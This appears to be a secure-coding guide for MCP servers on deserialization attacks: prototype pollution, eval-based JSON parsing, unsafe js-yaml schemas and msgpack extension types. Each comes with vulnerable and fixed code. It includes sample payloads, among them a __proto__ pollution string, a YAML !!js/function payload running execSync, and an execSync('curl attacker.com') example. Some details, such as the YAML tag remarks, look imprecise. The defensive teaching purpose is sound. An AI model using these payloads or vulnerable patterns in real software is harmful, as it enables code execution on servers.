Topic: mcp server deserialization security
MCP server deserialization security — prototype pollution, eval, and unsafe YAML
MCP servers deserialize data from three sources: tool call arguments (from the LLM), upstream API responses (from web services), and configuration files. The deserialization layer is where data becomes executable: a maliciously crafted payload can pollute the JavaScript prototype chain, trigger arbitrary code execution via eval-based parsers, or exploit YAML's type system to run constructor-based code. Four attack surfaces are common in the corpus: prototype pollution via JSON keys, eval-based JSON parsing, unsafe YAML safeLoad omission, and msgpack deserialization with gadget chains.
Attack 1: Prototype pollution via JSON keys
JavaScript objects inherit from Object.prototype. A JSON payload with a key named __proto__ can overwrite properties on the prototype chain when merged or assigned with unsafe patterns. In an MCP server, prototype pollution can change the behavior of all objects in the process — for example, setting __proto__.isAdmin = true makes every object appear to have isAdmin: true.
// Attack payload:
const maliciousInput = '{"__proto__":{"isAdmin":true},"name":"attacker"}'
// WRONG: unsafe merge of parsed JSON into an object
const config = {}
Object.assign(config, JSON.parse(maliciousInput))
// After this: ({}).isAdmin === true — for every object in the process
// WRONG: recursive merge without key sanitization
function deepMerge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object') {
deepMerge(target[key] ??= {}, source[key]) // ← __proto__ traverses prototype chain
} else {
target[key] = source[key]
}
}
}
// CORRECT: validate with Zod before any merge
import { z } from 'zod'
const ToolArgsSchema = z.object({
name: z.string().max(100),
value: z.string().max(1000),
// Zod strips unknown keys by default (use .strict() to reject them)
}).strict()
const args = ToolArgsSchema.parse(JSON.parse(rawInput))
// If rawInput contains __proto__, Zod rejects it — no merge needed
// CORRECT: create with null prototype for key-value maps
const safeMap = Object.create(null) // no prototype — __proto__ key is just a key
Object.assign(safeMap, JSON.parse(maliciousInput))
// safeMap.__proto__ is just a string value, not the prototype chain
Attack 2: eval-based JSON parsing
Developers sometimes use eval() or new Function('return ' + input)() as a "JSON parser" because it handles single-quoted strings and trailing commas that JSON.parse() rejects. The difference: JSON.parse() is a pure parser — it never executes code. eval() and new Function() are code evaluators — they execute whatever they receive. A malicious string like "process.exit(1)" or "require('child_process').execSync('curl attacker.com')" becomes code execution.
// WRONG: eval as parser
function parseLenient(input: string) {
return eval('(' + input + ')') // ← code execution if input is not pure data
}
// WRONG: new Function as parser
function parseLenient(input: string) {
return new Function('return (' + input + ')')() // same problem
}
// CORRECT: JSON.parse() only
// If you need lenient JSON (trailing commas, comments), use a parser library:
import { parse } from 'jsonc-parser' // JSON with Comments — pure parser, no eval
const data = parse(userInput) // safe — no code execution
// Or for simple cases: strip comments, then JSON.parse
const stripped = userInput.replace(/\/\*[\s\S]*?\*\/|\/\/.*/g, '')
const data = JSON.parse(stripped)
Attack 3: Unsafe YAML loading
YAML's type system is significantly more powerful than JSON's. The YAML specification includes a !!python/object/apply type tag (and equivalent tags for other languages) that triggers constructor calls during deserialization. The js-yaml library's historical safeLoad() function rejected these tags; the modern load() function with the DEFAULT_FULL_SCHEMA accepts them. For MCP servers that parse YAML from tool arguments, configuration files pulled from user-supplied URLs, or upstream API responses, using the full schema is code execution.
import yaml from 'js-yaml'
// Attack payload (YAML that executes code in Python-aware parsers;
// in Node.js the risk is prototype pollution via !!js/object and !!map types)
const maliciousYaml = `
---
!!js/object:
constructor: !!js/function "function(){ require('child_process').execSync('id') }"
`
// WRONG: full schema (default in js-yaml 4.x yaml.load())
const data = yaml.load(maliciousYaml) // executes constructor in some environments
// CORRECT: FAILSAFE_SCHEMA — strings, sequences, and mappings only
// No type tags, no constructors, no code execution possible
const data = yaml.load(userYaml, { schema: yaml.FAILSAFE_SCHEMA })
// CORRECT: JSON_SCHEMA — same as JSON types, YAML syntax
// Accepts booleans and numbers, still no type constructors
const data = yaml.load(userYaml, { schema: yaml.JSON_SCHEMA })
// For configuration files that need YAML-specific types but come from trusted source only:
// Load with CORE_SCHEMA (safe) not DEFAULT_FULL_SCHEMA (unsafe)
const config = yaml.load(configFile, { schema: yaml.CORE_SCHEMA })
Attack 4: msgpack deserialization
msgpack is a binary serialization format that is compact and fast — commonly used in high-throughput MCP server implementations. The msgpack spec includes Extension Types, which allow library authors to define custom serialization for arbitrary types including class instances. Some msgpack libraries will instantiate these custom types during deserialization if the extension type ID is registered. For MCP servers, the risk is that an upstream API returns a msgpack payload with extension types that trigger class instantiation in your process.
import { decode } from '@msgpack/msgpack'
// WRONG: registering extension type decoders for untrusted input
const decoder = new Decoder({
extensionCodec: myExtensionCodec, // extensionCodec can instantiate classes
})
const data = decoder.decode(untrustedBuffer)
// CORRECT: decode without extension codec for untrusted data
// @msgpack/msgpack returns only plain objects, arrays, and primitives
const data = decode(untrustedBuffer)
// No extension types processed — safe from gadget chains
// After decode, validate with Zod before use:
import { z } from 'zod'
const ResponseSchema = z.object({
id: z.string(),
result: z.unknown(),
})
const validated = ResponseSchema.parse(data)
What SkillAudit checks
- eval() or new Function() applied to tool arguments or API responses — HIGH; code execution via deserialization
- YAML loading without schema restriction on external input — HIGH for full schema; WARN for core schema with type tags
- Object.assign or deep merge without key sanitization on JSON input — WARN; prototype pollution vector
- Missing schema validation after msgpack decode — WARN; type confusion and unexpected data shapes
See also
- MCP server input validation — Zod schema validation patterns for tool arguments
- MCP server input sanitization — sanitization patterns for string inputs
- MCP server OWASP Top 10 — insecure deserialization in the full MCP threat model
- Public audit corpus — deserialization-related findings across scanned servers
Check your MCP server for eval and prototype pollution findings.
Run a free audit → How grading works →